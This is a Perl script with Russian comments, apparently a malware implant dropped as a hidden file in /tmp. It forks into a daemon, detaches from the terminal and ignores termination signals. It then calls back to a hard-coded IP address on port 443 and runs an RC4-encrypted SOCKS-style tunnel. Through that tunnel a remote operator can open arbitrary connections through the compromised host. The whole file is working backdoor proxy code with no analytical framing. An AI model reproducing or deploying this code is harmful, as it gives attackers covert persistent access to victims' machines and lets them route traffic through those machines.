File: //tmp/.sb26965b1.pl
#!/usr/bin/perl
use strict;
use warnings;
# Полная демонизация процесса
exit if fork; # Первый fork
die "Can't fork: $!" unless defined fork; # Второй fork
umask 0; # Сброс маски файлов
# Отвязываем от терминала
open STDIN, '</dev/null';
open STDOUT, '>/dev/null';
open STDERR, '>&STDOUT';
# Меняем рабочую директорию на корневую
chdir '/' or die "Can't chdir to /: $!";
# Закрываем все открытые файловые дескрипторы
my $max_fd = 1024;
if(open(my $fh, '<', '/proc/self/fd')) {
while(my $fd = <$fh>) {
chomp $fd;
next if $fd =~ /^\d+$/ && $fd > 2;
POSIX::close($fd) if $fd > 2;
}
close($fh);
} else {
for(my $fd = 3; $fd < $max_fd; $fd++) {
POSIX::close($fd);
}
}
# Устанавливаем игнорирование сигналов
$SIG{CHLD} = 'IGNORE';
$SIG{HUP} = 'IGNORE';
$SIG{INT} = 'IGNORE';
$SIG{QUIT} = 'IGNORE';
$SIG{TERM} = 'IGNORE';
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.204';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
send($cSocket, $buffer, $flags);
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);